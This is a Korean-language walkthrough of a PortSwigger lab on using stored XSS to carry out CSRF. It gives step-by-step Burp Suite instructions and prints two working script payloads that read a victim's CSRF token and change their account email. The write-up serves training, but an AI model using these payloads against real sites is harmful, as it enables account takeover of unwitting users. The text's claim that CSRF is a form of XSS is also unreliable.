Lab: Exploiting XSS to perform CSRF
https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf
Stored XSS 공격 및 CSRF 공격 구문 작성
CSRF는 XSS 공격의 한 형태입니다. 목적이 분명한 Stored XSS이고, 피해자가 눈치채지 못하게 자동 공격을 수행합니다.
웹사이트 내 XSS 취약점을 이용하여 사용자가 의도하지 않은 요청을 송신하도록 하는 공격을 의미하며, 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행동을 하여 특정 웹 페이지를 보안에 취약하게 한다거나 수정, 삭제 등의 작업을 하게 만드는 공격방법입니다.
[CSRF 공격과정]
- XSS 공격이 존재하는지 확인(스크립트 코드 삽입)
- 정보 수집(이메일 주소를 업데이트하여 csrf 수집)
- CSRF 공격 구문 작성(공격)
[기본 설정] 프록시 설정, ACCESS THE LAB의 주소를 Burp Suite에 설정
(1) 블로그 내 My account로 이동합니다.
(2) 로그인을 합니다.
(3) 포스트로 이동합니다.
(4) 포스트에 댓글을 작성합니다.
(5) Post Comment를 누르기전 Intercept is on으로 바꿔주고, 댓글을 등록합니다.
(6) comment 부분에 악성 스크립트 코드를 작성하고 Forward를 클릭하여 스크립트 코드가 실행되는지 확인합니다.
블로그로 이동하면 다음과 같이 댓글이 작성되었음을 확인할 수 있습니다.
댓글을 작성한 포스트로 이동하여 경고창을 확인합니다.
(7) 블로그에서 My account로 이동하여 Email을 변경하고 csrf를 확인합니다.
burp suite로 이동하여 change-email 패킷을 확인합니다.
(8) 이제는 포스트에 악성 스크립트 코드를 포함한 댓글을 작성합니다.
<script>
var req = new XMLHttpRequest();
req.addEventListener("load", handleResponse);
req.open('get','/my-account');
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email');
changeReq.send('csrf='+token+'&email=abc@abc.comssss');
};
</script>
/*Port Swigger Solution 제공*/
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
[추가]
XML Http Request란?
JavaScript에서 HTTP 요청을 만들 수 있는 내장 브라우저 객체입니다.
onload 대신 addEventListener를 사용해도 됩니다.
참고자료 : https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest_API/Using_XMLHttpRequest
(9) 스크립트 실행을 확인하기 위해 댓글을 작성한 포스트로 이동합니다.
(10) burp suite에서 change-email 패킷을 찾아 이메일이 변경된 것을 확인합니다.
(11) 블로그 내 My account로 이동하여 이메일이 변경되었음을 확인합니다.